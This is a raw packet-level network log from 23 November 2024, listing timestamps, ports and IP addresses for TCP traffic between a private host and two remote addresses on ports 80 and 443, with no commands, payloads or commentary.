Nov 23, 2024 18:22:12.025358915 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.025397062 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.026259899 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.026319981 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.026346922 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.026400089 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.027301073 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.027353048 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.027354956 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.027453899 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.028266907 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.028316975 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.028424978 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.028476000 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.029342890 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.029400110 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.029416084 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.029464006 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.030253887 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.030304909 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.030311108 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.030349016 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.031286001 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.031335115 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.031387091 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.031431913 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.032265902 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.032327890 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.032371998 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.032433987 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.033276081 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.033334970 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.033473015 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.033541918 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.034370899 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.034420967 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.034420967 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.034522057 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.035303116 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.035360098 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.035573006 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.036326885 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.036377907 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.036451101 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.036509037 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.037338972 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.037401915 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.037587881 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.037636995 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.038347960 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.038397074 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.038458109 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.038506031 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.039242029 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.039295912 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.039400101 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.039446115 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.040265083 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.040373087 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.040419102 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.041263103 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.041373968 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.041394949 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.041425943 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.042262077 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.042315960 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.042370081 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.042444944 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.043256998 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.043386936 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.043438911 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.044259071 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.044394970 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.044492960 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.045264006 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.045321941 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.045394897 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.045449972 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.046314001 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.046402931 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.046420097 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.046521902 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.047317028 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.047372103 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.047388077 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.047481060 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.048338890 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.048451900 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.048474073 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.048506021 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.049277067 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.049392939 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.049421072 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.049500942 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.050266027 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.050384998 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.050457001 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.050517082 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.051255941 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.051352978 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.051378965 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.051484108 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.052274942 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.052341938 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.052371025 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.052439928 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.053262949 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.053328037 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.053390026 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.053457975 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.054265976 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.054380894 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.054413080 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.054503918 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.055272102 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.055334091 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.055362940 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.055510044 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.056252956 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.056394100 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.056617022 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.057356119 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.057377100 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.057404041 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.057456017 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.073604107 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.073714972 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.073806047 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.074059010 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.074178934 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.227019072 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.227075100 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.227130890 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.227180004 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.227384090 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.227442980 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.227449894 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.227514982 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.228235960 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.228291035 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.228321075 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.228343964 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.228936911 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.229015112 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.229199886 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.229259014 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.229432106 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.229487896 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.230127096 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.230179071 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.230243921 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.230294943 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.231152058 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.231194019 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.231250048 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.231302977 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.231875896 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.231935978 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.231952906 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.232001066 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.232614040 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.232680082 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.232728004 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.232791901 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.233551979 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.233616114 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.233649015 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.233707905 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.234350920 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.234427929 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.234464884 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.234528065 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.235166073 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.235275984 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.235331059 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.235379934 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.236088037 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.236166000 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.236176968 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.236284971 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.236881971 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.236928940 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.236989021 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.237052917 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.237812042 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.237916946 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.237946033 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.237994909 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.238601923 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.238678932 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.238722086 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.238857985 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.239475965 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.239526033 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.239531994 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.239590883 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.240297079 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.240345001 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.240360022 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.240416050 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.241198063 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.241246939 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.241564989 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.241616011 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.242002964 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.242048025 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.242113113 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.242182970 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.242944002 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.243004084 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.243033886 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.243113041 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.243719101 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.243776083 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.243838072 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.243941069 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.244594097 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.244745016 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.244764090 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.244813919 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.245428085 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.245528936 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.245558977 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.245611906 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.246345043 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.246380091 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.246424913 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.246424913 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.247170925 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.247246027 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.247370958 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.247508049 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.247993946 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.248073101 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.248085976 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.248229027 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.248821974 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.248887062 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.249000072 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.249106884 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.249712944 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.249763966 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.249913931 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.249965906 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.250546932 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.250607014 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.250761986 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.250802994 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.251422882 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.251457930 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.251472950 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.251514912 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.252235889 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.252321005 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.252338886 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.252388000 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.253077030 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.253200054 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.253213882 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.253254890 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.253978968 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.254024029 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.254085064 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.254220963 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.254831076 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.254883051 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.254889011 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.254977942 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.255656958 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.255698919 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.255753040 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.255856991 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.256493092 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.256580114 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.256606102 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.256670952 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.257355928 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.257405043 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.257411003 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.257544994 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.258233070 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.258328915 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.258336067 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.258440018 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.259031057 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.259078979 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.259152889 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.259277105 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.259866953 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.259978056 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.259979963 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.260144949 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.260739088 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.260790110 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.260812044 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.260899067 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.261598110 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.261656046 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.261679888 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.261749029 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.262464046 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.262542963 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.262562037 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.262599945 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.263320923 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.263384104 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.263434887 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.263490915 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.264168978 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.264244080 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.264267921 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.264415026 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.265043020 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.265093088 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.265137911 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.265212059 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.265808105 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.265916109 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.265975952 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.266021013 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.266030073 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.266094923 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.266202927 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.266710997 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.266794920 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.266840935 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.266907930 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.267035007 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.267545938 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.267602921 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.267640114 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.267740965 CET	49755	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:12.267842054 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.267868042 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.267888069 CET	49759	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.267894983 CET	443	49759	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.267903090 CET	443	49760	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:12.267960072 CET	49760	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:12.268429041 CET	80	49755	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:12.268523932 CET	80	49755	185.215.113.16	192.168.2.4
